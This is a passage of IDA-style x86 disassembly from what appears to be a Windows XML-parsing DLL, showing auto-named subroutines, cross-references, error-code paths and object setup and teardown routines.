push ebp
lea eax, [esi+4]
push eax
call sub_69B17320
mov eax, [edi+58h]
mov [esi+1Ch], eax
mov eax, [edi+0C4h]
mov eax, [eax+14h]
mov [esi+14h], eax
mov eax, [edi+0C4h]
add eax, 8
push eax
lea ecx, [esi+8]
call sub_69B4D414
lea eax, [edi+0C0h]
mov ecx, [eax]
mov [esi+24h], ecx
mov [eax], esi
loc_69B5C579: ; CODE XREF: sub_69B5C433+EAj
mov ecx, [edi+58h]
push ebx
call sub_69B8CA67
loc_69B5C582: ; CODE XREF: sub_69B5C433+BAj
pop edi
pop esi
pop ebp
pop ebx
retn 4
sub_69B5C433 endp
; =============== S U B R O U T I N E =======================================
sub_69B5C589 proc near ; CODE XREF: sub_69B5CA0B+37p
; DATA XREF: sub_69B11555+26o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
mov esi, ecx
cmp byte ptr [esi+9Dh], 0
push edi
mov edi, [eax+8]
jz short loc_69B5C5BF
mov eax, dword_69B95AB8
cmp dword ptr [eax+8], 0Ch
mov ebx, eax
jg short loc_69B5C5B0
call sub_69B2E6D8
loc_69B5C5B0: ; CODE XREF: sub_69B5C589+20j
cmp edi, [ebx+3Ch]
jz short loc_69B5C5BF
mov eax, 0C00CE106h
jmp loc_69B5C703
; ---------------------------------------------------------------------------
loc_69B5C5BF: ; CODE XREF: sub_69B5C589+13j
; sub_69B5C589+2Aj
mov byte ptr [esi+5Dh], 1
mov eax, dword_69B95AB8
cmp dword ptr [eax+8], 0Ah
mov ebx, eax
jg short loc_69B5C5D5
call sub_69B2E6D8
loc_69B5C5D5: ; CODE XREF: sub_69B5C589+45j
cmp edi, [ebx+34h]
jz loc_69B5C70F
mov eax, [esi+58h]
mov byte ptr [esi+62h], 1
mov ecx, [eax+2Ch]
call sub_69B8F0F8
mov eax, dword_69B95AB8
cmp dword ptr [eax+8], 9
mov ebx, eax
jg short loc_69B5C604
call sub_69B2E6D8
mov eax, dword_69B95AB8
loc_69B5C604: ; CODE XREF: sub_69B5C589+6Fj
cmp edi, [ebx+30h]
jnz short loc_69B5C674
mov byte ptr [esi+61h], 1
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 1
mov edi, eax
jg short loc_69B5C61F
call sub_69B2E6D8
loc_69B5C61F: ; CODE XREF: sub_69B5C589+8Fj
mov eax, [esi+58h]
push dword ptr [edi+10h]
mov ecx, [eax+2Ch]
call sub_69B8FF0A
cmp byte ptr [esi+60h], 0
jnz short loc_69B5C661
mov eax, dword_69B95AB8
cmp dword ptr [eax+8], 11h
mov edi, eax
jg short loc_69B5C645
call sub_69B2E6D8
loc_69B5C645: ; CODE XREF: sub_69B5C589+B5j
mov eax, [edi+50h]
mov ecx, [esi+40h]
push 0
push 0
push eax
call sub_69B3DA18
push eax
push [esp+10h+arg_0]
mov ecx, esi
call sub_69B5BEA5
loc_69B5C661: ; CODE XREF: sub_69B5C589+A8j
mov eax, [esi+58h]
mov byte ptr [esi+63h], 1
mov eax, [eax+2Ch]
mov byte ptr [eax+28h], 3
jmp loc_69B5C70F
; ---------------------------------------------------------------------------
loc_69B5C674: ; CODE XREF: sub_69B5C589+7Ej
cmp dword ptr [eax+8], 0Bh
mov ebx, eax
jg short loc_69B5C686
call sub_69B2E6D8
mov eax, dword_69B95AB8
loc_69B5C686: ; CODE XREF: sub_69B5C589+F1j
cmp edi, [ebx+38h]
jnz short loc_69B5C6B4
cmp byte ptr [esi+60h], 0
jnz short loc_69B5C6A8
cmp dword ptr [eax+8], 0Fh
mov edi, eax
jg short loc_69B5C69E
call sub_69B2E6D8
loc_69B5C69E: ; CODE XREF: sub_69B5C589+10Ej
push dword ptr [edi+48h]
mov ecx, esi
call sub_69B5B4D2
loc_69B5C6A8: ; CODE XREF: sub_69B5C589+106j
mov eax, [esi+58h]
mov eax, [eax+2Ch]
mov byte ptr [eax+28h], 2
jmp short loc_69B5C70F
; ---------------------------------------------------------------------------
loc_69B5C6B4: ; CODE XREF: sub_69B5C589+100j
cmp dword ptr [eax+8], 0Ch
mov ebx, eax
jg short loc_69B5C6C1
call sub_69B2E6D8
loc_69B5C6C1: ; CODE XREF: sub_69B5C589+131j
cmp edi, [ebx+3Ch]
jnz short loc_69B5C6FE
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 1
mov edi, eax
jg short loc_69B5C6D8
call sub_69B2E6D8
loc_69B5C6D8: ; CODE XREF: sub_69B5C589+148j
mov eax, [esi+58h]
push dword ptr [edi+10h]
mov ecx, [eax+2Ch]
call sub_69B8FF0A
mov eax, [esi+58h]
mov byte ptr [esi+64h], 1
mov byte ptr [esi+63h], 1
mov byte ptr [esi+5Fh], 1
mov eax, [eax+2Ch]
mov byte ptr [eax+28h], 1
jmp short loc_69B5C70F
; ---------------------------------------------------------------------------
loc_69B5C6FE: ; CODE XREF: sub_69B5C589+13Bj
mov eax, 0C00CE108h
loc_69B5C703: ; CODE XREF: sub_69B5C589+31j
push 0
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B5C70F: ; CODE XREF: sub_69B5C589+4Fj
; sub_69B5C589+E6j ...
pop edi
pop esi
pop ebx
retn 8
sub_69B5C589 endp
; =============== S U B R O U T I N E =======================================
sub_69B5C715 proc near ; CODE XREF: sub_69B5C83A+1B0p
; DATA XREF: sub_69B119AE+22Do
arg_0 = dword ptr 4
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp [esi+65h], bl
push edi
jz loc_69B5C7D4
mov eax, [esi+7Ch]
mov byte ptr [esi+0A8h], 1
mov ecx, [eax+2Ch]
mov eax, [ecx]
call dword ptr [eax+2Ch]
mov ecx, eax
call sub_69B2F43C
mov edi, eax
xor eax, eax
mov al, [esi+36h]
push eax
push edi
call sub_69B20F54
push 27h
pop ecx
cmp eax, ecx
jz short loc_69B5C7BF
mov ecx, [esi+58h]
mov edi, [esp+0Ch+arg_0]
push ebp
mov [ecx+18h], eax
push edi
mov ecx, esi
call sub_69B5A9BB
push ebx
push edi
mov ecx, esi
mov [esi+0A8h], bl
call sub_69B5C076
push ebx
mov ecx, esi
call sub_69B5C416
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 1Fh
mov ebp, eax
jg short loc_69B5C78F
call sub_69B2E6D8
loc_69B5C78F: ; CODE XREF: sub_69B5C715+73j
mov ebp, [ebp+88h]
mov ecx, [esi+40h]
push ebx
push ebx
push ebp
call sub_69B3DA18
push eax
push edi
mov ecx, esi
call sub_69B5B16B
push edi
mov ecx, esi
call sub_69B5C433
mov ecx, [esi+0C4h]
call sub_69B5BB0D
pop ebp
jmp short loc_69B5C7E4
; ---------------------------------------------------------------------------
loc_69B5C7BF: ; CODE XREF: sub_69B5C715+3Cj
mov eax, [esi+58h]
mov [eax+18h], ecx
mov eax, [esi+58h]
push edi
add eax, 1Ch
push eax
call sub_69B17320
jmp short loc_69B5C7E4
; ---------------------------------------------------------------------------
loc_69B5C7D4: ; CODE XREF: sub_69B5C715+Aj
mov eax, 0C00CE120h
push ebx
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B5C7E4: ; CODE XREF: sub_69B5C715+A8j
; sub_69B5C715+BDj
pop edi
pop esi
pop ebx
retn 8
sub_69B5C715 endp
; =============== S U B R O U T I N E =======================================
sub_69B5C7EA proc near ; CODE XREF: sub_69B5CB6E+C2p
; sub_69B5CB6E+DDp ...
push esi
mov esi, ecx
call sub_69B5C1E5
lea eax, [esi+0ACh]
push eax
call sub_69B17230
lea ecx, [esi+7Ch]
call sub_69B5AFC3
lea ecx, [esi+58h]
call sub_69B5AFAF
lea eax, [esi+54h]
push eax
call sub_69B17230
lea eax, [esi+38h]
push eax
call sub_69B17230
lea eax, [esi+30h]
push eax
call sub_69B17230
lea ecx, [esi+1Ch]
call sub_69B88EF5
lea ecx, [esi+8]
pop esi
jmp sub_69B88EF5
sub_69B5C7EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5C83A proc near ; CODE XREF: sub_69B5CAA5+34p
; sub_69B5CCB0+1Ap ...
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 40h
and [ebp+var_20], 0
push ebx
mov ebx, ecx
cmp byte ptr [ebx+35h], 0
jnz short loc_69B5C885
push esi
mov esi, [ebp+arg_4]
mov eax, [esi]
push edi
mov ecx, esi
call dword ptr [eax+3Ch]
mov [ebp+var_8], eax
lea eax, [ebp+var_30]
push eax
mov ecx, esi
call sub_69B48F23
mov esi, eax
test esi, esi
mov [ebp+var_C], esi
jnz short loc_69B5C890
loc_69B5C870: ; CODE XREF: sub_69B5C83A+1CCj
mov eax, [ebx]
cmp dword ptr [eax+20h], 0
jz short loc_69B5C883
mov ecx, [eax+24h]
push [ebp+arg_0]
add ecx, ebx
call dword ptr [eax+20h]
loc_69B5C883: ; CODE XREF: sub_69B5C83A+3Cj
; sub_69B5C83A+161j
pop edi
pop esi
loc_69B5C885: ; CODE XREF: sub_69B5C83A+11j
mov eax, [ebp+var_20]
pop ebx
leave
retn 8
; ---------------------------------------------------------------------------
loc_69B5C88D: ; CODE XREF: sub_69B5C83A+1C6j
mov esi, [ebp+var_C]
loc_69B5C890: ; CODE XREF: sub_69B5C83A+34j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+3Ch]
push 1
push 1
mov edi, eax
push 1
mov ecx, esi
mov [ebp+var_24], edi
call sub_69B4AAFC
mov [ebp+var_28], eax
mov eax, [edi+8]
mov [ebp+var_14], eax
mov eax, [ebx]
mov eax, [eax+0Ch]
xor esi, esi
cmp [eax], esi
mov [ebp+var_10], esi
jl short loc_69B5C91D
and [ebp+var_4], esi
loc_69B5C8C3: ; CODE XREF: sub_69B5C83A+ADj
mov ecx, [ebp+var_4]
push dword ptr [ecx+eax]
call sub_69B48CB0
cmp eax, [ebp+var_14]
mov eax, [ebx]
mov eax, [eax+0Ch]
jz short loc_69B5C8EB
add [ebp+var_4], 18h
mov ecx, [ebp+var_4]
inc esi
cmp dword ptr [ecx+eax], 0
mov [ebp+var_10], esi
jge short loc_69B5C8C3
jmp short loc_69B5C91D
; ---------------------------------------------------------------------------
loc_69B5C8EB: ; CODE XREF: sub_69B5C83A+9Cj
lea ecx, [esi+esi*2]
lea eax, [eax+ecx*8]
mov ecx, [eax]
lea esi, [eax+8]
lea edi, [ebp+var_40]
movsd
movsd
mov [ebp+var_1C], ecx
mov ecx, [eax+4]
movsd
mov edx, ecx
and edx, 0FFh
and ecx, 0FF00h
movsd
mov edi, [ebp+var_24]
mov esi, [ebp+var_10]
mov [ebp+var_18], edx
mov [ebp+var_2C], ecx
loc_69B5C91D: ; CODE XREF: sub_69B5C83A+84j
; sub_69B5C83A+AFj
mov eax, [ebx]
mov eax, [eax+0Ch]
lea ecx, [esi+esi*2]
cmp dword ptr [eax+ecx*8], 0
jge short loc_69B5C95F
push [ebp+var_14]
mov ecx, ebx
call sub_69B5B7D7
test al, al
jnz loc_69B5C9EF
mov ecx, [ebp+var_8]
mov eax, [ecx]
push 0
call dword ptr [eax+2Ch]
push eax
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+2Ch]
push eax
mov eax, 0C00CE10Ch
push eax
push eax
call sub_69B2E9D0
add esp, 14h
loc_69B5C95F: ; CODE XREF: sub_69B5C83A+EFj
mov ecx, [ebx+44h]
push 1
push [ebp+var_28]
push [ebp+var_18]
call sub_69B4DE11
mov ecx, [ebp+var_18]
test ecx, ecx
jl short loc_69B5C9EF
cmp ecx, 1
jle short loc_69B5C9C8
cmp ecx, 8
jz short loc_69B5C9C8
cmp ecx, 0Bh
jnz short loc_69B5C9EF
cmp dword ptr [eax+0Ch], 0
mov [ebp+var_8], eax
jz short loc_69B5C9A0
cmp [ebp+var_1C], 1
jz short loc_69B5C9B7
mov [ebp+var_20], 0C00CE100h
jmp loc_69B5C883
; ---------------------------------------------------------------------------
loc_69B5C9A0: ; CODE XREF: sub_69B5C83A+152j
test byte ptr [ebp+var_2C+1], 1
jz short loc_69B5C9B7
mov ecx, [ebx+54h]
push ecx
push ecx
mov ecx, [ebx+40h]
push eax
call sub_69B5AEAA
mov [ebp+var_8], eax
loc_69B5C9B7: ; CODE XREF: sub_69B5C83A+158j
; sub_69B5C83A+16Aj
push [ebp+var_8]
mov eax, [ebp+var_3C]
push [ebp+arg_0]
lea ecx, [eax+ebx]
call [ebp+var_40]
jmp short loc_69B5C9EF
; ---------------------------------------------------------------------------
loc_69B5C9C8: ; CODE XREF: sub_69B5C83A+13Fj
; sub_69B5C83A+144j
push eax
mov eax, [ebp+var_3C]
push [ebp+arg_0]
lea ecx, [eax+ebx]
call [ebp+var_40]
cmp [ebp+var_1C], 2Ah
jnz short loc_69B5C9EF
mov eax, [ebx]
cmp dword ptr [eax], 21h
jnz short loc_69B5C9EF
push [ebp+var_C]
mov ecx, ebx
push [ebp+arg_0]
call sub_69B5C715
loc_69B5C9EF: ; CODE XREF: sub_69B5C83A+FDj
; sub_69B5C83A+13Aj ...
mov ecx, [ebp+arg_4]
lea eax, [ebp+var_30]
push eax
call sub_69B486B5
test eax, eax
mov [ebp+var_C], eax
jnz loc_69B5C88D
jmp loc_69B5C870
sub_69B5C83A endp
; =============== S U B R O U T I N E =======================================
sub_69B5CA0B proc near ; DATA XREF: sub_69B119AE+75o
arg_0 = dword ptr 4
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp [esi+5Ch], bl
jz short loc_69B5CA90
cmp [esi+5Dh], bl
push edi
jnz short loc_69B5CA4A
mov edi, dword_69B95AB8
cmp dword ptr [edi+8], 9
jg short loc_69B5CA2D
call sub_69B2E6D8
loc_69B5CA2D: ; CODE XREF: sub_69B5CA0B+1Bj
mov eax, [edi+30h]
mov ecx, [esi+40h]
push ebx
push ebx
push eax
call sub_69B3DA18
push eax
push [esp+10h+arg_0]
mov ecx, esi
call sub_69B5C589
mov [esi+5Dh], bl
loc_69B5CA4A: ; CODE XREF: sub_69B5CA0B+Fj
cmp [esi+5Eh], bl
jnz short loc_69B5CA7A
mov edi, dword_69B95AB8
cmp dword ptr [edi+8], 6
jg short loc_69B5CA60
call sub_69B2E6D8
loc_69B5CA60: ; CODE XREF: sub_69B5CA0B+4Ej
mov eax, [edi+24h]
mov ecx, [esi+40h]
push ebx
push ebx
push eax
call sub_69B3DA18
push eax
push [esp+10h+arg_0]
mov ecx, esi
call sub_69B5B202
loc_69B5CA7A: ; CODE XREF: sub_69B5CA0B+42j
cmp [esi+61h], bl
pop edi
jz short loc_69B5CAA0
cmp dword ptr [esi+0BCh], 2
jz short loc_69B5CAA0
mov eax, 0C00CE107h
jmp short loc_69B5CA95
; ---------------------------------------------------------------------------
loc_69B5CA90: ; CODE XREF: sub_69B5CA0B+9j
mov eax, 0C00CE103h
loc_69B5CA95: ; CODE XREF: sub_69B5CA0B+83j
push ebx
push eax
push eax
call sub_69B2E9D0
add esp, 0Ch
loc_69B5CAA0: ; CODE XREF: sub_69B5CA0B+73j
; sub_69B5CA0B+7Cj
pop esi
pop ebx
retn 4
sub_69B5CA0B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5CAA5 proc near ; CODE XREF: sub_69B5CAA5+73p
; sub_69B5CB6E+86p
var_8 = byte ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, [ebp+arg_4]
xor eax, eax
mov al, [esi+0Bh]
push edi
xor ebx, ebx
xor edi, edi
and eax, 1Fh
setz [ebp+var_1]
cmp [ebp+var_1], bl
jz short loc_69B5CAE6
mov ecx, [ebp+arg_0]
push esi
call sub_69B5BCA9
mov edi, eax
cmp edi, ebx
jnz short loc_69B5CB41
mov ecx, [ebp+arg_0]
push esi
push ebx
call sub_69B5C83A
mov edi, eax
cmp edi, ebx
jnz short loc_69B5CB41
jmp short loc_69B5CAEB
; ---------------------------------------------------------------------------
loc_69B5CAE6: ; CODE XREF: sub_69B5CAA5+1Ej
cmp eax, 0Bh
jnz short loc_69B5CB4C
loc_69B5CAEB: ; CODE XREF: sub_69B5CAA5+3Fj
lea eax, [ebp+var_8]
push eax
mov ecx, esi
mov byte ptr [ebp+arg_4+3], bl
call sub_69B48DC1
jmp short loc_69B5CB28
; ---------------------------------------------------------------------------
loc_69B5CAFB: ; CODE XREF: sub_69B5CAA5+85j
xor ecx, ecx
mov cl, [eax+0Bh]
and ecx, 1Fh
sub ecx, ebx
jz short loc_69B5CB14
dec ecx
jz short loc_69B5CB53
sub ecx, 5
jz short loc_69B5CB53
sub ecx, 5
jnz short loc_69B5CB1D
loc_69B5CB14: ; CODE XREF: sub_69B5CAA5+60j
push eax
push [ebp+arg_0]
call sub_69B5CAA5
loc_69B5CB1D: ; CODE XREF: sub_69B5CAA5+6Dj
; sub_69B5CAA5+B1j ...
lea eax, [ebp+var_8]
push eax
mov ecx, esi
call sub_69B47D9F
loc_69B5CB28: ; CODE XREF: sub_69B5CAA5+54j
cmp eax, ebx
jnz short loc_69B5CAFB
cmp [ebp+var_1], bl
jz short loc_69B5CB3D
mov ecx, [ebp+arg_0]
push esi
push ebx
call sub_69B5BD8C
mov edi, eax
loc_69B5CB3D: ; CODE XREF: sub_69B5CAA5+8Aj
cmp edi, ebx
jz short loc_69B5CB4C
loc_69B5CB41: ; CODE XREF: sub_69B5CAA5+2Dj
; sub_69B5CAA5+3Dj ...
push ebx
push edi
push edi
call sub_69B2E9D0
add esp, 0Ch
loc_69B5CB4C: ; CODE XREF: sub_69B5CAA5+44j
; sub_69B5CAA5+9Aj
pop edi
pop esi
pop ebx
leave
retn 8
; ---------------------------------------------------------------------------
loc_69B5CB53: ; CODE XREF: sub_69B5CAA5+63j
; sub_69B5CAA5+68j
cmp byte ptr [ebp+arg_4+3], bl
jnz short loc_69B5CB1D
mov ecx, [ebp+arg_0]
push esi
push ebx
mov byte ptr [ebp+arg_4+3], 1
call sub_69B5AC40
mov edi, eax
cmp edi, ebx
jnz short loc_69B5CB41
jmp short loc_69B5CB1D
sub_69B5CAA5 endp
; =============== S U B R O U T I N E =======================================
sub_69B5CB6E proc near ; CODE XREF: sub_69B3C634+1A5p
; sub_69B4F873+122p ...
push 0D4h
push offset dword_69B5CC58
call sub_69B19C5C
xor ebx, ebx
mov eax, [ebp+10h]
cmp eax, ebx
jz short loc_69B5CB8C
test byte ptr [eax+0Bh], 1Fh
jz short loc_69B5CB9F
loc_69B5CB8C: ; CODE XREF: sub_69B5CB6E+16j
push ebx
push 0C00CE101h
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
loc_69B5CB9F: ; CODE XREF: sub_69B5CB6E+1Cj
mov edi, [ebp+8]
mov esi, [edi+70h]
mov [ebp-1Ch], esi
cmp [ebp+18h], bl
jz short loc_69B5CBBA
push ebx
mov ecx, esi
call sub_69B4E185
mov esi, eax
mov [ebp-1Ch], esi
loc_69B5CBBA: ; CODE XREF: sub_69B5CB6E+3Dj
push dword ptr [ebp+10h]
mov ecx, esi
call sub_69B4DDB5
push dword ptr [ebp+18h]
push edi
push dword ptr [ebp+14h]
push esi
push esi
push dword ptr [ebp+0Ch]
push ebx
lea ecx, [ebp-0E4h]
call sub_69B5BBF4
mov [ebp-4], ebx
lea ecx, [ebp-0E4h]
call sub_69B5AFE0
push dword ptr [ebp+10h]
lea eax, [ebp-0E4h]
push eax
call sub_69B5CAA5
push dword ptr [ebp+14h]
push dword ptr [ebp+14h]
mov ecx, [ebp+0Ch]
call sub_69B8B750
mov ecx, [ebp-0A8h]
call sub_69B8B8E1
jmp short loc_69B5CC3A
; ---------------------------------------------------------------------------
loc_69B5CC14: ; DATA XREF: .text:69B5CC5Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B5CC1D: ; DATA XREF: .text:69B5CC60o
mov esp, [ebp-18h]
mov esi, [ebp-1Ch]
mov ecx, esi
call sub_69B5BB57
lea ecx, [ebp-0E4h]
call sub_69B5C7EA
call sub_69B2E860
loc_69B5CC3A: ; CODE XREF: sub_69B5CB6E+A4j
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_69B5BB57
lea ecx, [ebp-0E4h]
call sub_69B5C7EA
call sub_69B1853C
retn 14h
sub_69B5CB6E endp
; ---------------------------------------------------------------------------
dword_69B5CC58 dd 0FFFFFFFFh dd offset loc_69B5CC14
dd offset loc_69B5CC1D
; =============== S U B R O U T I N E =======================================
sub_69B5CC64 proc near ; DATA XREF: .text:69B12AECo
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
xor ecx, ecx
sub eax, ecx
push esi
mov esi, [esp+4+arg_0]
jz short loc_69B5CC93
sub eax, 8
jz short loc_69B5CC84
dec eax
dec eax
jz short loc_69B5CC8E
dec eax
jnz short loc_69B5CC9B
cmp [esi+24h], ecx
jnz short loc_69B5CC9B
loc_69B5CC84: ; CODE XREF: sub_69B5CC64+12j
mov ecx, [esi+1Ch]
call sub_69B5A96B
jmp short loc_69B5CC9B
; ---------------------------------------------------------------------------
loc_69B5CC8E: ; CODE XREF: sub_69B5CC64+16j
cmp [esi+24h], ecx
jnz short loc_69B5CC9B
loc_69B5CC93: ; CODE XREF: sub_69B5CC64+Dj
mov ecx, [esi+1Ch]
call sub_69B5AFE0
loc_69B5CC9B: ; CODE XREF: sub_69B5CC64+19j
; sub_69B5CC64+1Ej ...
push [esp+4+arg_8]
mov esi, [esi+10h]
push [esp+8+arg_4]
mov eax, [esi]
push esi
call dword ptr [eax+0Ch]
pop esi
retn 0Ch
sub_69B5CC64 endp
; =============== S U B R O U T I N E =======================================
sub_69B5CCB0 proc near ; DATA XREF: .text:69B12AF0o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_8]
cmp dword ptr [edi+4], 1
jnz short loc_69B5CCD3
push dword ptr [edi+1Ch]
mov ecx, [esi+1Ch]
push [esp+0Ch+arg_4]
call sub_69B5C83A
test eax, eax
jnz short loc_69B5CCE1
loc_69B5CCD3: ; CODE XREF: sub_69B5CCB0+Ej
mov eax, [esi+10h]
mov ecx, [eax]
push edi
push [esp+0Ch+arg_4]
push eax
call dword ptr [ecx+10h]
loc_69B5CCE1: ; CODE XREF: sub_69B5CCB0+21j
pop edi
pop esi
retn 0Ch
sub_69B5CCB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5CCE6 proc near ; DATA XREF: .text:69B12AF4o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_C]
cmp dword ptr [esi+4], 1
push edi
mov edi, [ebp+arg_0]
jnz short loc_69B5CD21
cmp [ebp+arg_8], 0
jz short loc_69B5CD0F
push dword ptr [esi+1Ch]
mov ecx, [edi+1Ch]
push [ebp+arg_4]
call sub_69B5C83A
test eax, eax
jnz short loc_69B5CD31
loc_69B5CD0F: ; CODE XREF: sub_69B5CCE6+15j
push dword ptr [esi+1Ch]
mov ecx, [edi+1Ch]
push [ebp+arg_4]
call sub_69B5BD8C
test eax, eax
jnz short loc_69B5CD31
loc_69B5CD21: ; CODE XREF: sub_69B5CCE6+Fj
mov edi, [edi+10h]
mov eax, [edi]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call dword ptr [eax+14h]
loc_69B5CD31: ; CODE XREF: sub_69B5CCE6+27j
; sub_69B5CCE6+39j
pop edi
pop esi
pop ebp
retn 10h
sub_69B5CCE6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5CD37 proc near ; DATA XREF: .text:69B12AF8o
; .text:69B149A4o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push [ebp+arg_10]
mov eax, [ebp+arg_0]
push [ebp+arg_C]
mov eax, [eax+10h]
push [ebp+arg_8]
mov ecx, [eax]
push [ebp+arg_4]
push eax
call dword ptr [ecx+18h]
pop ebp
retn 14h
sub_69B5CD37 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5CD56 proc near ; DATA XREF: .text:69B12AFCo
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_10]
push esi
mov esi, [ecx]
push edi
mov edi, [ebp+arg_0]
mov eax, [edi+10h]
mov edx, [eax]
push ecx
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call dword ptr [edx+1Ch]
test eax, eax
jnz short loc_69B5CDA0
mov ecx, [esi+4]
dec ecx
jz short loc_69B5CD95
sub ecx, 0Ch
jnz short loc_69B5CDA0
push [ebp+arg_8]
mov ecx, [edi+1Ch]
push dword ptr [esi+1Ch]
call sub_69B5AC40
jmp short loc_69B5CDA0
; ---------------------------------------------------------------------------
loc_69B5CD95: ; CODE XREF: sub_69B5CD56+28j
push dword ptr [esi+1Ch]
mov ecx, [edi+1Ch]
call sub_69B5BCA9
loc_69B5CDA0: ; CODE XREF: sub_69B5CD56+22j
; sub_69B5CD56+2Dj ...
pop edi
pop esi
pop ebp
retn 14h
sub_69B5CD56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5CDA6 proc near ; CODE XREF: sub_69B3DADB+A1p
; sub_69B4FDBC+4BAp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, ecx
call sub_69B4E24E
push [ebp+arg_0]
xor ecx, ecx
mov dword ptr [esi], offset off_69B12AE0
mov dword ptr [esi+4], offset off_69B29128
lea eax, [esi+10h]
mov [eax], ecx
lea edi, [esi+14h]
mov [edi], ecx
lea ebx, [esi+18h]
mov [ebx], ecx
push eax
mov [esi+24h], ecx
call sub_69B17320
push [ebp+arg_8]
push edi
call sub_69B17320
push [ebp+arg_C]
push ebx
call sub_69B17320
push [ebp+arg_10]
lea eax, [esi+24h]
push eax
call sub_69B17320
mov edi, [ebp+arg_14]
push 0C8h
mov [esi+20h], edi
call sub_69B1D897
test eax, eax
jz short loc_69B5CE30
cmp [ebp+arg_10], 0
setz cl
push ecx
push edi
push [ebp+arg_10]
mov ecx, eax
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B5BBF4
jmp short loc_69B5CE32
; ---------------------------------------------------------------------------
loc_69B5CE30: ; CODE XREF: sub_69B5CDA6+67j
xor eax, eax
loc_69B5CE32: ; CODE XREF: sub_69B5CDA6+88j
mov [esi+1Ch], eax
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
retn 18h
sub_69B5CDA6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5CE3E proc near ; CODE XREF: .text:69B5CEC8p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov edi, [esi+18h]
test edi, edi
mov dword ptr [esi-4], offset off_69B12AE0
mov dword ptr [esi], offset off_69B29128
jz short loc_69B5CE69
mov ecx, edi
call sub_69B5C7EA
push edi
call sub_69B1B2B7
loc_69B5CE69: ; CODE XREF: sub_69B5CE3E+1Cj
push 0
lea edi, [esi+0Ch]
push edi
call sub_69B17320
push 0
lea ebx, [esi+10h]
push ebx
call sub_69B17320
lea eax, [esi+14h]
push 0
push eax
mov [ebp+var_8], eax
call sub_69B17320
lea eax, [esi+20h]
push 0
push eax
mov [ebp+var_4], eax
call sub_69B17320
push [ebp+var_4]
and dword ptr [esi+1Ch], 0
call sub_69B17230
push [ebp+var_8]
call sub_69B17230
push ebx
call sub_69B17230
push edi
call sub_69B17230
call sub_69B2C65C
pop edi
pop esi
pop ebx
leave
retn
sub_69B5CE3E endp
; ---------------------------------------------------------------------------
loc_69B5CEC5: ; DATA XREF: .text:off_69B29128o
push esi
mov esi, ecx
call sub_69B5CE3E
test byte ptr [esp+8], 1
jz short loc_69B5CEDD
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B5CEDD: ; CODE XREF: .text:69B5CED2j
lea eax, [esi-4]
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_69B5CEE4: ; DATA XREF: .text:69B29140o
mov eax, [esp+4]
cmp dword ptr [eax+24h], 0
jnz short loc_69B5CEF2
xor eax, eax
jmp short locret_69B5CF00
; ---------------------------------------------------------------------------
loc_69B5CEF2: ; CODE XREF: .text:69B5CEECj
mov ecx, [eax+24h]
mov edx, [ecx]
push 0
push dword ptr [eax+20h]
push ecx
call dword ptr [edx+14h]
locret_69B5CF00: ; CODE XREF: .text:69B5CEF0j
retn 4
; =============== S U B R O U T I N E =======================================
sub_69B5CF03 proc near ; CODE XREF: sub_69B5D6A0+61p
